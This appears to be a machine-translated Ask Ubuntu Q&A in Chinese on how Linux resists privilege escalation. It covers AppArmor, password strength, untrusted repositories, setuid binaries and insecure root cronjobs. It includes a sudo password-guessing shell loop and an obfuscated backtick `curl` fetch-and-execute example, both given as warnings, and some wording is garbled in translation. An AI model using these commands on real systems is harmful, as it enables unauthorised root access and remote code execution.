系统如何保持安全?

我知道如果任何恶意软件进入Linux系统,它最多会获得用户级权限并破坏特定用户范围内的任何内容,即用户自己的文件。

但究竟是什么让恶意软件无法获得根级访问? 它能否以某种方式从内部破解密码?

这是一个复杂的问题。 Ubuntu系统中有许多不同的安全层,从AppArmor等复杂框架到mmap_min_addrmmap_min_addr内核变量。 您可以在混合中添加一些内核function,如内存随机化。 您可以在Ubuntu Wiki上找到它们的列表以及快速解释。

另一个重要因素是更新既快速又简单 – 因此大多数计算机都将更新到最新的安全修复程序。

据我所知,获得本地访问权限的攻击者有三种扩展内核权限的方法:

  1. 破解密码。 但这将非常困难,密码以加密方式存储,使用没有已知缺陷的算法。 破解它需要很长时间。

  2. 内核中的错误。 但是内核的所有安全function都会受到阻碍。

  3. 欺骗用户泄露密码,即社交工程。 只需显示一个假密码对话或使用其他一些技巧。 这是最简单的方法。

第三点是目前最弱的漏洞。

无法破解根密码本身,因为默认情况下Ubuntu禁用了root用户。 但是,如果您的用户可以通过sudo成为root用户,并且您的密码很容易被猜测/暴力破解,那么您就是一个不安全的系统。 尝试测试某些密码的示例脚本:

 #!/bin/sh for pass in password 123 ubuntu pass; do echo $pass|sudo -S evil_command done 

添加不受信任的存储库允许安装该存储库中的程序。 即使您没有显式安装像sudo apt-get install [app-from-repo] ,存储库仍然会影响其他程序,因为Ubuntu认为存储库包含某个程序的较新版本。

更新过程以root身份运行,否则无法将文件写入/usr/bin/etc 安装触发器也以root身份运行,可以任意运行,也可能是有害命令。 现在,不要担心,需要手动操作来更新程序,并且Ubuntu存储库是安全的。 像Windows这样的封闭源软件永远不会完全受信任,因为您无法检查恶意代码的来源,但如果需要,您可以查看Ubuntu应用程序的来源(不适用于sun-java6或Flash等专有程序)。

正如Javier Rivera所提到的,内核错误可能导致任意代码执行,但是有问题的软件也可能是危险的,尤其是错误的setsuid root二进制文件(将在文件所有者,root下运行的二进制文件)以及以root身份运行的其他错误程序。

如果您不注意自己正在做的事情,可以在系统上创建安全漏洞。 例如,在没有完全理解cronjobs的概念的情况下,你已经在/etc/cron.daily添加了一个cronjob,它在你的主文件夹中运行一个程序(例如/bin/sh /home/your-username/myscript.sh 。 myscript.sh文件是可写的,你可以删除,一个漏洞可以将恶意代码放在myscript.sh ,这些代码将以root身份运行(特权升级)。

为了保持安全,请用心服! 如果您不知道它的作用,请不要从不受信任的来源运行命令。 如果有人说用反向`curl 3221233674`运行`curl 3221233674` ,请不要。 3221233674是编写192.0.32.10 (example.com的IP)的另一种方法。 所以,它将等于:

 `curl http://example.com/` 

这些反向标记导致输出作为shell命令执行。 用简单的英语,“下载页面http://example.com/并尝试执行下载的页面”。

首先,您不会在给定命令中看到恶意内容。 但现在,你知道它也可能被滥用。

始终检查从不受信任的来源(如Internet)获取的命令/脚本。